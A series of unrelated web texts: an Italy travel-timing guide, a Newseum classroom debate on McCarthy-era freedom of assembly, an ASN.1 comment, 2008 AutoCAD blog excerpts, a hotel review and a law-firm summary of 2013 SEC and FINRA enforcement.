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Italy: When to Go
There's plenty to see and do year-round in Italy, but deciding when to travel can sometimes be difficult. Here's some helpful information to assist you.
January through March witnesses the coldest weather in Italy as cooler winds sweep down from the north. These months, as well as November and early December, are considered the low season with fewer crowds and reduced prices. New Year and Epiphany celebrations begin the year, followed by Carnevale in February with each city hosting its own version of the event. Songs and chocolate highlight March festivities.
Tourism picks up in April for the Easter holidays and temperate weather. You'll find that April through June and late September through October are ideal times for sightseeing in Italy as crowds are less intense and temperatures are still mild and pleasant. Events inspired by food, wine and flowers are popular during these months.
The high season rush begins in mid-June as schools let out and families take their summer vacations. July and August are the warmest months of the year, as well as the busiest. Many hotels, restaurants and shops are closed during the second half of August as much of the country goes on holiday. Music and medieval festivals are highlights of these months. Peak-season rates generally drop off in mid-September.
High-season rates return in December as hotels fill up for the holiday season. If you plan on visiting Italy in December, be sure to book early to avoid disappointment. You should also note that from late October to Easter, many attractions operate on shorter winter hours or may be closed for renovation.
Generally, all of Italy is warm during the summer, with the highest temperatures occurring in the south. Fortunately, Italy is dry with little humidity. In Naples, Rome and the south, daytime temperatures often surge into the 90s (Fahrenheit), but nights are comfortably cool. Winters in the north of Italy are cold with rain and snow, while the south generally experiences temperatures averaging 50 degrees Fahrenheit.


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Critical Debates
This Critical Debate is a part of the EDCollection:
1954: Communism Fears Challenge Freedom of Assembly
Should the government publicly scrutinize an individual's political speech and actions, if the person belongs to an organization that may have ties to foreign enemies?
This Critical Debate is part of a Debate Comparison:
Aiding the Enemy
See all Debate Comparisons
Sen. Joseph McCarthy tells readers the fight against communism is for the future of America — for their children, and their children's children.
Newseum Collection
Pass out and read the Communism Fears case study scenario. Check for comprehension and ask students to identify the First Amendment freedom(s) at issue in this case.
Break your class into small groups and assign each group one of the people/perspectives. Hand out copies of the Organizing Evidence and Present Your Position worksheets. Give groups 30 minutes to look at the primary sources online and answer the worksheet questions.
Have each group present their position and arguments. Keep the gallery of case study resources on NewseumED.org open so students can refer to them as they explain their reasoning.
Historical case study handout, one per student (download)
Organizing Evidence and Present Your Position worksheets, one of each per group (download)
Case study primary sources (below)
NewseumED Communism and Free Speech Related Resources Pinterest Board (optional)
The Cold War is on as the Soviet Union and the United States jockey for global dominance. The Soviet Union is taking control of countries in Eastern Europe and influencing countries close to the U.S., such as Cuba. Both nations speak of the other as the enemy and are building up their weapons supplies. By 1950, both nations have successfully detonated an atomic bomb, and fear of nuclear war sets in.
Because the Soviet Union is a communist state, members of the Communist Party of America fall under suspicion of disloyalty. Sen. Joseph McCarthy, R-Wis., gives a dramatic speech claiming he has the names of 205 members of the State Department who are communist sympathizers. He promises to work to weed these people out of the government.
As chairman of the Committee on Government Operations, an investigative subcommittee, McCarthy begins holding hearings to find and eliminate any government employee who supports communism. The individuals he targets face public scorn and ruined careers, regardless of the truth of the accusations.
Televised nightly, the hearings force a First Amendment debate.
Debate Positions
Take the role of a historical figure below and find evidence to argue your case.
The press covered the rise and fall of the Wisconsin senator in detail. Pictured here is Sen. Joseph McCarthy at a news conference.
Sen. Joseph McCarthy, R-Wis.
The Communist Party is controlled by our greatest enemy and is a serious threat to the United States. Joining the Communist Party should be seen as an act of treason, and those traitors should be exposed and punished.
"As one of our outstanding historical figures once said, 'When a great democracy is destroyed, it will not be from enemies from without, but rather because of enemies from within.' The reason why we find ourselves in a position of impotency is not because our only powerful potential enemy has sent men to invade our shores … but rather because of the traitorous actions of those who have been treated so well by this nation."
— Speech in Wheeling, W.Va., on Feb. 9, 1950
Joseph Welch, wearing bowtie, is shown here at the McCarthy hearings in the spring of 1954.
Library of Congress, Prints & Photographs Division
Joseph Welch, chief counsel for the United States Army
The Communist Party is no friend to the United States, but individuals' past involvement with the party or its affiliated organizations should not be used to smear them in public, potentially ruining their careers and their lives.
"Little did I dream you could be so reckless and so cruel as to do an injury to that lad [attorney Fred Fisher]. It is, I regret to say, equally true that I fear he shall always bear a scar needlessly inflicted by you. If it were in my power to forgive you for your reckless cruelty, I would do so. I like to think I'm a gentle man, but your forgiveness will have to come from someone other than me. … You've done enough. Have you no sense of decency, sir, at long last? Have you left no sense of decency?"
— Welch addressing McCarthy at hearing on June 9, 1954
Edward R. Murrow, captured here in a casual pose at his desk, was an American broadcast journalist admired for his honesty and integrity in delivering the news.
Edward R. Murrow, host of the CBS news program "See It Now"
The United States will not win the battle against communism by labeling anyone who opposes McCarthy or the Republican Party as a communist and a traitor. Instead, we should be focusing on promoting the ideas on which our democracy is founded, including open debate.
"I believed 20 years ago and I believe today that mature Americans can engage in conversation and controversy, the clash of ideas, with communists anywhere in the world without becoming contaminated or converted. I believe that our faith, our conviction, our determination are stronger than theirs, and that we can compete and successfully, not only in the area of bombs but in the area of ideas."
— "See It Now," April 13, 1954
John Gates broke from the Communist Party in 1958 while he served a five-year prison sentence. He strongly denied the charge of undermining the government.
John Gates, chief editor of "The Daily Worker," the official newspaper of the Communist Party of America
The Communist Party of America is not simply an extension of the Soviet government into the United States, but rather an organization that works to address some of the most pressing problems in American society, such as poverty and racial injustice. Membership in the party should be seen as a commitment to addressing those causes and not as a betrayal of the United States.
"When I joined [the Communist Party] in 1931, as you said before that was in the midst of the depression, the biggest one this country ever had, nobody had any answers for what to do. The country was in a panic. The only people that seemed to me to have any kind of a solution were the communists, and not only did they have a solution but they did things, and I joined because of that."
— Jan. 18, 1958, interview with journalist Mike Wallace
Would concerns for public safety ever justify limiting freedom of assembly? If so, what conditions need to be in place? If not, why not?
Would public scrutiny discourage people from joining an organization?
How is public scrutiny the same/different from explicitly banning an organization?
Would the congressional hearings be acceptable if they were held privately?
Related Standards | Common Core State Standards
Common Core State Standards: CCSS.ELA-LITERACY.CCRA.SL.1
CCSS.ELA-LITERACY.CCRA.SL.1
Prepare for and participate effectively in a range of conversations and collaborations with diverse partners, building on others' ideas and expressing their own clearly and persuasively.
See all standards
Related Standards | NCSS C3 Framework
NCSS C3 Framework: D4.1.6-8 and D4.1.9-12
D4.1.6-8 and D4.1.9-12
6 - 8: Construct arguments using claims and evidence from multiple sources, while acknowledging the strengths and limitations of the arguments. 9 - 12: Construct arguments using precise and knowledgeable claims, with evidence from multiple sources, while acknowledging counterclaims and evidentiary weaknesses.
Related Standards | National Center for History in the Schools
National Center for History in the Schools: NCHS.US History.Era 9
NCHS.US History.Era 9
Standard 1: The economic boom and social transformation of postwar United States Standard 2: How the Cold War and conflicts in Korea and Vietnam influenced domestic and international politics Standard 3: Domestic policies after World War II Standard 4: The struggle for racial and gender equality and for the extension of civil liberties
Related Standards | Center for Civic Education
Center for Civic Education: CCE.II
CCE.II
A. What is the American idea of constitutional government? B. What are the distinctive characteristics of American society? C. What is American political culture? D. What values and principles are basic to American constitutional democracy?
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Explore more content within this EDCollection, or browse through all of our Lesson Plans, Critical Debates, Themes, Exhibits, Digital Artifacts, Historical Events, Videos, and Interactives using our EDTool search.
Inside the EDCollection
Punishing the Press
Publishing Secret Information
Protecting Hateful Speech
Censoring Criticism
Targeting Religious Minorities
Campaigning Against Religions
Petitioning on Government Grounds
Getting Congress to Pay Attention
All EDCollections
See all EDCollections
Media Literacy Booster Pack
Making a Change: The First Amendment and the Civil Rights Movement
'45 Words' Video Lesson
Sen. McCarthy Challenges the FBI Over Spy File
'New York Times' Print Shop Celebrates Supreme Court Victory
Marshall Tries to Keep Greece, Turkey Out of Soviet 'Orbit'
John Gates, Editor of 'The Daily Worker'
Rep. Robert Harper's Speech Supporting the Sedition Act
Anti-McCarthy Sentiments Grow
USSR Opposition to Marshall Plan Boosts Support in Congress
Sen. Patrick Anthony McCarran
Rep. Matthew Lyon's Account of His Trial
'White House Slaps at Joe [McCarthy]'
Civil War Editorial Cartoon About Government Censorship
Etching Depicts Fight Between Reps. Lyon and Griswold
Communist Pamphlet Seeks To Dispel Myths, 1947
Newspaper Defends Wartime Restrictions on Speech, 1863
Articles Imagine Result of A-Bomb Attack on NYC
Virginia Resolutions Oppose Alien and Sedition Acts
U.S. Communist Party Leader Challenges HUAC
11 Communists Found Guilty of 'Fomenting Revolution'
Newspaper Criticizes Lincoln's Suppression of the Press
Alger Hiss Convicted of Perjury
'McCarthyism: The Fight for America'
Lincoln Defends Limiting Civil Liberties (1 of 2)
Cartoon Lampoons Sen. Joseph McCarthy
Judge Alexander Addison's Defense of the Sedition Act
Congress Debates Anti-Communism Bills (1 of 2)
Congress Debates Anti-Communist Bills (2 of 2)
Daniel Ellsberg, Military Analyst and Pentagon Papers Source

redpajama_set_name: RedPajamaCommonCrawl


Given that ASN.1 can mean XML or JSON these days (the ITU standard is still updated). ASN.1 is quite cool and Web friendly.
As it happens I'm using this feature of ASN.1 right now. I get JSON objects in through a Web API, and those get deserialised, validated, reserialised as XML and then uPER as they move throughout the system where bandwidth becomes scarce (uPER is handy for that). All the code to do this serialisation to multiple wire formats is generated automatically from a single ASN.1 schema, which is kinda cool.


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Fun, Image manipulation, Other Blogs, Pictures
Have you seen Shaan shorn?
By Steve Johnson 28 March 2008, 9:13 pm 28 March 2008 Fun, Image manipulation, Pictures, Shaan Hurley	3
I was intrigued to see Autodesk personality and fellow blogger Shaan Hurley posting a photo with his long-standing facial fuzz removed. Shaan may be moving in the opposite direction to myself (I'm getting hairier with age), but personally I don't think he has gone far enough. I would like to see Shaan sporting a chrome dome. What do you think? Original image © 2008 Shaan Hurley.
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AutoCAD, AutoCAD 2009, Tip
AutoCAD 2009 – Putting things back to "normal"
By Steve Johnson 27 March 2008, 12:58 pm 27 March 2008 AutoCAD 2009, Tip, User Interface	121
Note: there are updated versions of this post for AutoCAD 2010, 2011 and 2012. If you're running a more recent release of AutoCAD, have a look at the post AutoCAD 2017 – Putting things back to "normal" instead. One thing that's regularly asked whenever a new AutoCAD release hits the streets is how to make it work like the last release. I think you should give any new features a fighting chance before turning them off or ignoring them, but that's entirely your choice. Let's assume you've made the decision to go back to the future; how do you do …
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Announcement, AutoCAD, AutoCAD 2009, Polls
AutoCAD 2009 – The Reaction Part 1
By Steve Johnson 27 March 2008, 9:35 am 27 March 2008 AutoCAD 2009, Polls, User Reaction	1
Some people have now received AutoCAD 2009, or at least downloaded it, which you can do (legally!) here, as long as you're in the United States or Canada. I'm closing the AutoCAD 2009 speculation poll. Other than a small blip on "Very bad", the poll follows a typical bell curve nicely, with the peak very clearly on "OK". I will poll on AutoCAD 2009 later, once you've had a chance to play with the new product. What is the initial user reaction like? So far, not good. For example, have a look at Autodesk's AutoCAD 2009 discussion group. I fully …
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Announcement, AutoCAD, AutoCAD 2009
AutoCAD 2009 – The Prequels Are Over
By Steve Johnson 26 March 2008, 8:52 pm 26 March 2008 Announcement, AutoCAD 2009, Shipping	0
It would appear that AutoCAD 2009 is now shipping. I intend to hold off on any further comments until I get my hands on the shipping product, which I expect to be fairly soon. In the meantime, maybe have a look over the 24 AutoCAD 2009 Prequel posts and see if there's anything you missed. If there's something in particular about AutoCAD 2009 you want clarified or would like to see covered in future posts, feel free to add a comment here or email me.
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Advertising, Navel Gazing, Other Blogs, Rant
Advertising, ethics and editorial freedom
By Steve Johnson 25 March 2008, 9:12 pm 25 March 2008 Advertising, Blogs, Ethics, Journalism, Matt Lombard, Rant, Roopinder Tara	19
In a recent blog post, Roopinder Tara included this throw-away comment: Pure bloggers don't do advertising, so no worry about advertising pressure — the secret and unstated fear of us all in the trade press. I respect Roopinder, but this kind of "pure blogger" label irritates me. I have an ad on my blog for geeky T-shirts, so I'm an impure blogger? Somebody please explain the reasoning behind that distinction, because I don't understand it. Even if I accepted (say) Autodesk advertising, the idea that it would have any influence on what I choose to write is ridiculous. Yet I …
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AutoCAD 2009 – The Prequel Part 24 – Menu Browser Keyboard Access
By Steve Johnson 22 March 2008, 8:41 pm 22 March 2008 AutoCAD 2009, Tip, User Interface	0
You may be used to accessing pull-down menus with Alt-key combinations, e.g. Alt+F to get at the File menu. You can still use those keystrokes to get at menus in AutoCAD 2009, whether or not the pull-down menus are in place. If the pull-downs are visible (MENUBAR=1), they are given priority over the Menu Browser. One difference is that if the pull-down menus are visible, you can either press the keys together (e.g. Alt+F), or you can press and release the Alt key, then choose the menu (e.g. Alt, F). With the pull-down menus turned off, you can use only …
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AutoCAD, AutoCAD 2009
AutoCAD 2009 – The Prequel Part 23 – Recent Actions
By Steve Johnson 21 March 2008, 2:09 pm 21 March 2008 AutoCAD 2009, User Interface	0
Like Recent Documents, the Menu Browser pane also stores a Recent Actions list. Like Recent Documents, the length of this list defaults to 9 and can be set to up to 50 in Options. Similarly, you can pin actions in place to prevent them slipping off the end. Unlike the command line recall (up-arrow) method of retrieving recently entered commands, this feature only remembers commands you selected using the Menu Browser. Even if you use pull-down menus, those commands will not be placed in this list. Also unlike command line recall, the list is remembered between drawing sessions and even …
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AutoCAD 2009 – The Prequel Part 22 – Open Documents
One more feature that's crammed into the Menu Browser pane's limited space is the Open Documents list. This allows you to switch between the drawings you currently have open. It has a similar interface to the Recent Documents list, including the persistently pale preview: Unlike Recent Documents, the filenames are displayed in the correct case, although this is not true in the preview where the name and path are all in upper case. Another glitch in the preview can be seen above, where it says Currently Oper instead of Currently Open By:. This only happens intermittently and doesn't concern me …
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AutoCAD 2009 – The Prequel Part 21 – Recent Documents
Another thing you will find lurking under the big red A is the Recent Document list. This is a mixed bag too, but most of it is good. It differs from the traditional list that still lives under the File menu in several ways: Although the default maximum list length is 9 items, you can allow up to 50 items into the list by changing a setting in the Options command's Open and Save tab. If the list exceeds the space available, a scroll bar appears. This has the same problems as elsewhere in the menu browser: more clicks are …
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AutoCAD 2009 – The Prequel Part 20 – Menu Browser Search
So if the Menu Browser isn't much use for browsing menus, what is it good for? Searching menus, for one thing. Let's say you're a very occasional 3D user trying to make a 3D model look pretty. You want to access commands for placing lights, putting the sun in the right place, and changing visual style settings. You don't really know where to look in the Ribbon or menus. What to do? Click on the red A and just start typing what you think the command is called. With a bit of luck, the appropriate menu item will present itself …
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AutoCAD 2009 – The Prequel Part 19 – Menu Browser
By Steve Johnson 18 March 2008, 3:00 pm 18 March 2008 AutoCAD 2009, Performance, User Interface	7
You have undoubtedly noticed the large red A in the top right corner of the AutoCAD window. Personally, I don't like the look of it. The concept is rather Fisher-Price and the execution is poor. No competent graphic designer would align the top of the red A exactly with the top of its surrounding button area like this: There are so many examples of poor graphic design in AutoCAD 2009 that the overall visual effect is close to that of a rather amateurish shareware product. That's not what you might expect of a multi-billion dollar company that can undoubtedly afford …
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AutoCAD 2009 – The Prequel Part 18 – Another Interface Option
By Steve Johnson 17 March 2008, 9:41 pm 17 March 2008 AutoCAD 2009, Compatibility, User Interface	5
There's one screen-based user interface mechanism in AutoCAD 2009 that you probably won't see bragged about in Autodesk marketing materials. That's a shame, because it has some strong points: It can be docked on the side of the screen or allowed to float free. While floating, it can be resized to the desired width and height. If you do dock it on the side, any unused height can be used to place either docked or floating toolbars. Out of the box, it provides access to a large number of the most commonly used AutoCAD commands. In default form, it is …
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AutoCAD, AutoCAD 2009, Performance
AutoCAD 2009 – The Prequel Part 17 – Ribbon Performance 2
By Steve Johnson 15 March 2008, 10:32 pm 15 March 2008 AutoCAD 2009, Performance, User Interface, Vista	0
Testing performance under Vista can be an interesting experience. The trouble is, Vista tries to improve its performance by observing what you do and caching it for later use in case you do it again. This leads to something akin to the observer effect in science, where the very act of observing something has an effect on what it is you are observing. Every time I test Ribbon tab switching performance in Vista, the results improve. In XP, the worst tab switching time I saw on my Core2 PC was 1.6 seconds for the first exposure of the Tools tab. …
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By Steve Johnson 15 March 2008, 2:30 pm 15 March 2008 AutoCAD 2009, CUI, Performance, User Interface	0
One of the things I like least about AutoCAD 2009 (at least in Release Candidate form) is that I find it very "sticky". That is, I find myself having to wait for an instant here, then again there, yet again over there. Most of my testing has been on a middle-aged Pentium 4 (3.0 GHz dual core – not too ancient), and it is particularly noticeable there. On my newer Core2 machine, things are better. When AutoCAD 2009 starts shipping, I suspect your perception of it will be strongly influenced by your hardware. Top gun users on slow machines are …
AutoCAD, Grammar
Grammar and AutoCAD
By Steve Johnson 15 March 2008, 9:13 am 26 May 2018 AutoCAD, Fun, Grammar, John Walker	0
I have a lot of posts about AutoCAD and a few about grammar, but I expect this will be the only post I ever make that combines the subjects. Autodesk founder John Walker, a very prominent figure in AutoCAD's history, has written an article about the correct use of the apostrophe. While I enjoyed it, I think it's too insulting to be useful. People struggling with the correct use of the apostrophe are unlikely to get past the part where they are called morons, to read the useful advice below. If you just want simple apostrophe advice without being belittled, …
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AutoCAD, Tip
AutoCAD tip – more on the Oops command
By Steve Johnson 14 March 2008, 12:22 pm 14 March 2008 AutoCAD, Erase, Oops, Tip, Undo	2
In a comment on my Five More Simple Tips for AutoCAD post, Jeremy had some questions about the Oops command. I thought I would explain the command in more detail in another post so more people will see it. The first thing to understand is that Oops varies from Undo/U in that it only reverses those commands that erase objects. The Erase command is obvious, and the same applies to pre-selecting objects and hitting the Delete key, but the Block and Wblock commands can also erase the objects that go to make up the block. In such cases Oops can …
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AutoCAD, AutoCAD 2009, Polls
AutoCAD 2009 – The Prequel Part 15 – Background
You may have noticed that the default AutoCAD background is an off-white shade. In a comment, Tim asked if this is the same as the Block Editor background. No, not quite. This image shows the different backgrounds and some linework, with black as a comparison: Paper space is pure white (Red, Green, Blue is 255,255,255), Model space is very pale cream (254,252,240) and the Block Editor is a slightly darker cream (255,252,229). In common with most people in my experience (and most people who need to use drawings with yellow linework), my backgrounds are all going to be 0,0,0 (black). …
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AutoCAD 2009 – The Prequel Part 14 – What do you think?
By Steve Johnson 13 March 2008, 12:42 pm 13 March 2008 AutoCAD 2009, Opinion, Polls, Speculation	4
I'm interested in people's perceptions of the forthcoming AutoCAD release. Based on what you've seen so far, how good a release do you think it will be? Please speculate using the poll on the right. If you feel the poll doesn't give you the opportunity to adequately express yourself, feel free to add a comment here. I intend to follow this up in a few months with a similar poll when people have had a chance to use the shipping product. It's not scientific, but it will be interesting to see if actually using the product changes people's opinions.
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Fun, Pictures
That's not a good sign
By Steve Johnson 11 March 2008, 9:56 am 11 March 2008 Fun, Pictures, Signs	0
Offered without comment:
More"That's not a good sign"
Fun, Grammar, Other Blogs
Other "grammar" blog's
By Steve Johnson 10 March 2008, 10:10 pm 10 March 2008 Fun, Grammar	1
Heres more pedantism of a grammatarian nature for you're pleasure: Apostrophe Abuse The Grammar Vandal Apostrophism Enjoy!
More"Other "grammar" blog's"


This hotel is really a 2 star hotel disguised as a 4 start hotel. The beds are horrible and the duvet provided is barely thicker than the sheet on the bed. The decor is very tired in the rooms and could use an update. The hallway on my floor (floor 2) smelt horribly of smoke despite that floor being a "non-smoking floor" as I saw a sign for by the lifts. The breakfast is okay, but no hot items such as eggs/bacon/sausage, just things like cereal/pastries/cold meats/cheese. The local area is useless for food or anything of interest. You pretty much need to have a car to do anything. Unelss you have to stay at this hotel for work, I wouldn't bother.


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Select Broker-Dealer, Investment Adviser, and Investment Company Enforcement Cases and Developments: 2013 Year in Review
LawFlash
A year of change at the SEC—new enforcement leadership, policies, and areas of focus; at FINRA—an emphasis on "high risk" financial advisers and responding quickly to address fraudulent conduct.
This LawFlash highlights key U.S. Securities and Exchange Commission (SEC or the Commission) and Financial Industry Regulatory Authority (FINRA) enforcement developments and cases regarding broker-dealers, investment advisers, and investment companies during 2013.[1] The full 2013 Year in Review is available here.
2013 was marked by notable changes in the SEC's enforcement program, including new personnel, new policies, and new specialized task forces.
The most notable personnel change came on April 10, 2013, when Mary Jo White was sworn in as Chairman of the Commission. In addition, two new Commissioners were appointed in August 2013: Kara M. Stein and Michael S. Piwowar. The current Commission includes Chair White and four Commissioners: Luis A. Aguilar, Daniel M. Gallagher, Ms. Stein, and Mr. Piwowar.
There were also significant changes in key Staff positions during 2013. In January, Robert Khuzami, Director of the Division of Enforcement, announced his departure after four years in the role. In April, Chair White named George Canellos and Andrew Ceresney as Co-Directors of Enforcement. Mr. Ceresney became the sole Director of Enforcement in 2014, when Mr. Canellos announced that he was leaving the Commission. In 2013, new Chiefs of Enforcement's Asset Management, Municipal Securities and Public Pensions, and Complex Financial Instruments units and a new Chief Litigation Counsel were appointed. Several new leaders in the Office of Compliance Inspections and Examinations (OCIE) were announced in 2013, including a new Director of the National Exam Program, a new National Associate Director for the Investment Adviser/Investment Company Examination Program, and a new National Associate Director for the Broker-Dealer Examination Program. Finally, new Directors were appointed in five of the SEC's 11 Regional Offices.
In FY 2013, the Commission brought 686 enforcement actions, 48 fewer than the 734 initiated in FY 2012; this represents about a 7% decline year over year. Last year's total is the lowest number since FY 2010. According to the Commission, "these numbers do not, however, reflect the outstanding quality of the enforcement actions brought during the year." The Commission noted that 402 of the 686 cases were brought in the last six months of the fiscal year. The SEC also trumpeted its "strong pipeline" heading into FY 2014, pointing out that it had opened 908 investigations last year (representing a 13% increase) and issued 574 formal orders of investigation (up 20% on the year). Finally, the SEC reported that it had 1,444 open investigations as of the end of its FY 2013.
Of particular note, reversing a three-year trend, the SEC brought 121 actions against broker-dealers in FY 2013, compared to 134 in FY 2012. This represents about a 10% decrease year over year. Similarly, the SEC also brought fewer actions against investment advisers and investment companies, instituting 140 such cases in FY 2013, seven fewer than filed in the previous year. Nevertheless, taken together, it is clear that the SEC continued to devote significant resources toward investigating regulated entities last year; cases in that area represented about 39% of the Commission's FY 2013 docket.
Interestingly, and in contrast to the amount of headlines garnered, the number of insider trading cases filed by the Commission declined significantly last year. In FY 2013, the SEC brought 44 insider trading cases, 14 fewer than in the prior year. This figure is the lowest since FY 2010 and the third lowest in the last 10 years.
In FY 2013, the SEC obtained orders requiring the payment of $3.4 billion in penalties and disgorgement, a 10% increase from the amounts ordered in FY 2012 and a record for the Commission. Of that amount, approximately $1.167 billion represented orders to pay civil penalties (the highest amount since FY 2005), and about $2.257 billion represented orders for disgorgement of illegal profits.
As the SEC's financial crisis–related investigations began to be potentially affected by the statute of limitations, the Commission's enforcement activity in this area appeared to decline. It appears that, in FY 2013, the SEC initiated only several new cases related to the crisis. Over the last few years, however, the Commission has brought charges against 169 individuals and entities, including 70 CEOs, CFOs, and other senior officers in financial crisis–related cases. These actions have resulted in more than $3.02 billion in penalties and disgorgement.
The SEC's whistleblower program completed its third year of operation in FY 2013. Last year, the Office of the Whistleblower received 3,238 tips, complaints, and referrals from whistleblowers, an increase of 237 (or approximately 8%) from the 3,001 received in FY 2012. These notifications came from all 50 states, the District of Columbia, Puerto Rico, Guam, the U.S. Virgin Islands, and 55 foreign countries. The United Kingdom, Canada, and China led the way in referring complaints to the SEC from outside the country last year. Most complaints fell into three categories: corporate disclosure and financials, offering fraud, and manipulation. The SEC reported that it had paid four whistleblowers a combined total of $14,831,965.64. However, that figure includes an award of more than $14 million to a single whistleblower on the last day of the Commission's fiscal year.
In June 2013, in a significant departure from past practice, Chair White announced that the SEC would begin requiring admissions of facts and misconduct from defendants as a condition of settlement in cases where there was a heightened need for public accountability. While she predicted that most cases would continue to settle with the defendants neither admitting nor denying the allegations of wrongdoing, the SEC would begin to require admissions as a condition of settlement in cases involving egregious intentional misconduct, substantial harm to investors, or serious risk to the markets. In FY 2013, the SEC required admissions in two matters.
In her short time at the helm, Chair White has been unequivocal in her pronouncements that the SEC is prepared and willing to take cases to trial. In fact, over the last three years, the SEC has won 80% of the cases it has tried. However, the Commission had mixed results at trial in the latter half of 2013.
In August 2013, the SEC had a highly publicized victory in connection with a jury trial related to the marketing of a collateralized debt obligation by an individual defendant. In contrast, a mere two months later, in October 2013, a jury acquitted an individual on all counts of insider trading in another high-profile SEC trial. Then, in December 2013, the SEC lost two additional cases, each charging individuals with misconduct in connection with financial fraud at public companies. Despite the SEC's mixed record of trial outcomes in recent months, the Commission is likely to continue to take difficult cases to trial, rather than accept what it perceives as weak settlements. Nonetheless, the SEC must contend with the pragmatic reality of limited resources. While it may have the talent and commitment to try cases, the SEC simply does not have the capacity to litigate more than a small percentage of its total caseload.
In July 2013, the SEC announced the creation of a new enforcement initiative in the form of a specialized task force targeting abusive and fraudulent conduct in securities issued by microcap companies, with an emphasis on those that do not regularly report their financial results to the public. The task force will investigate fraud in the issuance, marketing, and trading of microcap securities. In December 2013, the SEC announced that it would be creating a new enforcement task force to increase its focus on the activities of broker-dealers. The task force will focus on current issues and practices within the broker-dealer community and develop national initiatives for potential investigations. The SEC will use this task force, once in place, to coordinate broker-dealer-related initiatives across the agency. The task force will serve to centralize information and expertise concerning industry practices and trends. It will also coordinate with OCIE, and with FINRA, to generate quality referrals and investigations. Although still in the formative stages, the creation of a broker-dealer task force, presumably to be staffed with investigators exclusively dedicated to ferreting out unlawful conduct by broker-dealers, suggests that there will be an increase in enforcement cases brought against broker-dealers and associated market participants.
In October 2013, Chair White reaffirmed the Commission's commitment to pursuing violations large and small and stated that the SEC would look for violations in all corners of the market. She analogized this enforcement strategy to the so-called "broken windows" strategy employed by former New York Mayor Rudolph Giuliani and made it clear that the SEC would pursue strategic prosecution of smaller violations in an effort to send a broader deterrent message. It remains to be seen whether the "broken windows" approach will result in a significant increase of cases charging less egregious violations of the law. One area where it may be reflected is in an increase of cases charging regulatory lapses initially identified through the SEC's examination program.
In November 2013, the SEC announced that it had entered into its first deferred prosecution agreement with an individual. This action signals that a majority of the Commissioners are comfortable with the SEC's use of this cooperation tool with respect to both companies and individuals.
The SEC's enforcement priorities under Chair White have included an increased emphasis on deterrence, consistent with a robust and effective enforcement program. In 2013, this emphasis on deterrence was reflected in aggressive charging decisions; the pursuit of stronger sanctions, including substantial monetary penalties; creative use of customized remedies, including conduct-based injunctions; the requirement of admissions as a condition of settlement in certain cases; and close coordination with other regulatory and criminal law enforcement agencies, both domestic and international. In the upcoming year, we are likely to see more of the same, together with a renewed focus on cases involving financial fraud and accounting issues, microcap fraud, broker-dealers and investment advisers, and market structure as well as the increased use of data analytics to focus enforcement resources on practices and industries where there is the highest likelihood or risk of misconduct.
Last year, the SEC brought broker-dealer cases in several traditional areas, including registration, commissions and markups, and insider trading. The Commission continued its efforts in the mortgage-backed securities area and opened new fronts involving the Market Access Rule and municipal securities. The SEC also brought several financial crisis–related actions as the events of 2008 reached their five-year anniversary. In the asset management space, it continued to focus on several practices, including best execution, compliance reviews and policies and procedures, trade allocation, and representations to investors.
Last year, there were several notable personnel changes in FINRA's senior staff. Susan Axelrod was promoted to Executive Vice President of Regulatory Operations. In this role, Ms. Axelrod oversees Enforcement, the Office of Fraud Detection and Market Intelligence, and Member Regulation (which includes Sales Practice, Risk Oversight and Operational Regulation, and Shared Services). Carlo di Florio joined FINRA from the SEC as the Executive Vice President for Risk and Strategy. In his new role at FINRA, Mr. di Florio is responsible for assessing the most significant risks to investors and market integrity and developing ways to lessen, manage, and monitor those risks and trends in the industry. Finally, Mike Rufino was promoted to Head of Member Regulation Sales Practice, and Bill Wollman was elevated to the role of Head of Member Regulation Risk Oversight and Operational Regulation.
In 2013, FINRA brought 1,535 new disciplinary actions, a slight decline from the record 1,541 cases initiated in 2012. FINRA resolved 1,307 formal actions last year; 363 fewer cases than it had in the prior year. Last year, FINRA expelled 24 firms from its membership (compared to 30 in the prior year), barred 429 people (versus 294 in 2012), and suspended 670 individuals (an increase over the 549 such actions in the prior year).
In 2013, FINRA posted only three Targeted Examination letters on its website, versus five in the prior year. Last year's letters focused on Alternative Trading Systems, social media communications, and firms' controls and processes in connection with the development and use of trading algorithms and automated trading technology.
There were several FINRA enforcement developments of note last year, including the following:
First, in late 2013, FINRA publicly described its efforts to monitor certain "high risk" brokers and the firms that hire such individuals. According to FINRA, two of the primary tools used in this area are its Broker Migration Model and Problem Broker Model. The Broker Migration Model tracks the movement of certain registered representatives from firm to firm using a variety of risk metrics. The information developed is used by FINRA's Staff to prioritize its surveillance, examination, and enforcement resources, enabling it to conduct targeted examinations and enforcement actions. The Problem Broker Model identifies and monitors registered representatives who have significant regulatory disclosures. FINRA also uses the information derived from this model to target brokers in its surveillance, examination, and enforcement activities. In its 2014 letter setting forth its regulatory and examination priorities, FINRA indicated that it will expand its "high risk" program and establish a dedicated team within the Department of Enforcement to prosecute such cases.
Second, FINRA issued Regulatory Notice 13-27 announcing amendments to Rule 8313, which governs the publicity of its disciplinary actions. Key changes include the elimination of the publicity thresholds in the rule, the establishment of general standards for the release of disciplinary information, and clarity on the scope of information subject to Rule 8313. Of particular note, the prior monetary sanction threshold of $10,000 for publication of disciplinary actions has been eliminated. Effective December 16, 2013, disciplinary complaints and decisions, independent of the sanction amount, will be shared with the public. Moreover, the amendments also changed the scope of the information FINRA will share with the public regarding many types of disciplinary matters.
Third, senior FINRA officials emphasized that the agency was focused on responding quickly to address fraudulent conduct. As examples of this effort, in at least two matters in 2013, FINRA filed for Temporary Cease-and-Desist Orders when it learned of alleged fraudulent conduct.
Based upon our review of currently available public information, we believe that FINRA's top enforcement priorities include the following: (i) structured and complex products sold to retail clients; (ii) single registered representative cases involving various types of significant misconduct; (iii) fraud and insider trading; (iv) sales to senior investors; (v) the use of social media to interact with retail investors; (vi) excessive commissions and markups/markdowns; (vii) cyber security and data breaches and losses; (viii) the Market Access Rule; (ix) anti-money laundering; (x) systems- and operations-related supervisory failures; (xi) microcap and penny stock fraud; and (xii) audit trail integrity, including Large Options Positions Reporting and options order marking capacity.
Last year, FINRA brought a number of actions in its traditional areas of focus, including the anti-money laundering, best execution, record retention, suitability, and trade reporting areas. It also continued its recent trends with cases regarding leveraged and inverse exchange-traded funds and private placements. Finally, FINRA initiated actions in new areas such as Direct Market Access and the retention of certain records in the required electronic format.
If you have any questions or would like more information on the issues discussed in this LawFlash, please contact any of the following Morgan Lewis lawyers:
Michael M. Philipp
Scott B. Garner
Robert E. Gooding, Jr.
John F. Hartigan
Ivan P. Harris
Ethan W. Johnson
Michele A. Coffey
Bernard J. Garbutt III
Brian A. Herman
Ben A. Indek
Jennifer L. Klass
Michael S. Kraut
Robert C. Mendelson
